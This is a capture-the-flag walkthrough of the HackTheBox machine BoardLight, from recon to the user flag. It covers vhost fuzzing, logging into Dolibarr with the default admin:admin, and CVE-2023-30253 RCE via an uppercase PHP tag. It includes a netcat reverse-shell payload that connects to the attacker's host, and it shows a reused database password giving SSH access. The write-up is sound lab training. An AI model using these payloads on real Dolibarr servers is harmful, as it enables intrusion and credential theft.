BoardLight
A Dolibarr CRM hidden behind a virtual host accepts default admin credentials and is vulnerable to CVE-2023-30253, where an uppercase
Overview
BoardLight is an easy-difficulty Linux box. The web server hosts a corporate landing page on board.htb, but virtual-host fuzzing uncovers crm.board.htb running Dolibarr 17.0.0. The CRM accepts admin:admin and is vulnerable to CVE-2023-30253, an authenticated RCE that bypasses Dolibarr’s PHP-tag filter using the uppercase <?PHP form. That foothold as www-data exposes a config file with a plaintext database password, which a local user has reused for SSH — handing over the user flag. This post covers recon through the user flag.
Machine Matrix
Enumeration plus CVE: vhost fuzzing finds Dolibarr, then CVE-2023-30253 PHP-tag-filter bypass gives RCE and reused DB-password credential leads to SSH, all realistic web misconfig.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.2p1 | Ubuntu, default |
| 80/tcp | Apache httpd 2.4.41 | Ubuntu, no title |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.11.11
nmap -p22,80 -Pn -sC -sV 10.10.11.11
Only SSH and HTTP are open. The site footer reveals the hostname board.htb, so add it to /etc/hosts:
1
echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts
Enumeration
The landing page is a static “cybersecurity consulting” site with nothing obviously interactive. Fuzz for virtual hosts, filtering out the default response size:
1
2
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ \
-u http://board.htb/ -H 'Host: FUZZ.board.htb' -fs 15949
This surfaces a crm subdomain. Add it to /etc/hosts:
1
echo "10.10.11.11 crm.board.htb" | sudo tee -a /etc/hosts
crm.board.htb is a Dolibarr 17.0.0 ERP/CRM login page (the version is printed at the top of the login form). Trying the classic default admin:admin logs straight in.
A quick search for Dolibarr 17.0.0 vulnerabilities leads to CVE-2023-30253: versions before 17.0.1 allow an authenticated user to achieve remote code execution. Dolibarr’s website module strips the <?php tag from page content, but the filter is case-sensitive — PHP itself treats <?PHP as a valid opening tag, so the uppercase form sails through the blocklist and still executes.
Foothold
In the Dolibarr UI, go to Websites, create a new site, add a page, then choose Edit HTML Source. First confirm code execution with a whoami probe:
1
<?PHP echo system("whoami");?>
Viewing the page renders www-data. Swap the payload for a reverse shell, with a listener ready locally:
1
nc -lnvp 4455
1
<?PHP echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.41 4455 >/tmp/f");?>
Save and view the page to catch the shell as www-data, then stabilize it:
1
script /dev/null -c /bin/bash
Dolibarr keeps its database credentials in plaintext. Read the config:
1
cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
1
2
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='[redacted]';
/etc/passwd shows a real interactive user, larissa:
1
2
cat /etc/passwd | grep 'sh$'
# larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
The database password has been reused for larissa’s account, so it works directly over SSH:
1
ssh [email protected]
User flag
1
2
cat /home/larissa/user.txt
# [redacted]
Shell as larissa and the user flag are ours.
Privilege escalation (an enlightenment_sys SUID binary vulnerable to CVE-2022-37706) is left as an exercise — this post stops at user.